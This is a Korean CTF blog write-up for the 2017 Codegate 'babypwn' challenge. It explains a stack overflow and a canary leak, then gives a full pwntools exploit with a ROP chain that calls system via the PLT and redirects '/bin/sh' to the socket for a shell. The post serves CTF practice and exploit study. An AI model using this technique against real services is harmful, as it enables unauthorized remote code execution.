2017 codegate babypwn
첫 번째 echo 메뉴에서 100바이트만큼 오버플로우! canary가 존재하지만 NULL을 없앰으로써 leak이 가능하다.
그리고 숨어있는 system 함수 ~ 즉 libc를 구할 필요 없이 plt를 호출하면 된다.
익스플로잇 흐름도는 다음과 같습니다.
이번에는 ELF를 이용해서 rop를 해봤습니다
xxxxxxxxxx
from pwn import *
e = ELF('./babypwn')
s = connect('localhost', 8181)
def echo_(pay):
s.recvuntil("> ")
s.sendline('1')
s.recvuntil(': ')
s.sendline(pay)
def exit_():
s.recvuntil("> ")
s.sendline('3')
echo_('A'*40)
s.recv(41)
canary = u32('\x00' + s.recv(3))
print('canary leak!: {}'.format(hex(canary)))
p4ret = 0x8048eec
bss = 0x0804b1b4
cmd = "/bin/sh >&4 <&4\00"
pay = 'A'*40
pay += p32(canary)
pay = pay.ljust(56, 'A')
pay += p32(e.plt['recv'])
pay += p32(p4ret)
pay += p32(4) + p32(bss) + p32(len(cmd)) + p32(0)
pay += p32(e.plt['system'])
pay += 'BBBB'
pay += p32(bss)
print('payload len: {}'.format(len(pay)))
echo_(pay)
exit_()
s.sendline(cmd)
s.interactive()
shell~
'system > writeup' 카테고리의 다른 글
2017 codegate babymisc (0) | 2019.01.05 |
---|---|
pwnable.tw start (0) | 2019.01.05 |
2014 plaidCTF ezhp (0) | 2019.01.04 |
2014 codegate angry_doraemon (0) | 2019.01.04 |
2013 hdcon luckyzzang (0) | 2019.01.02 |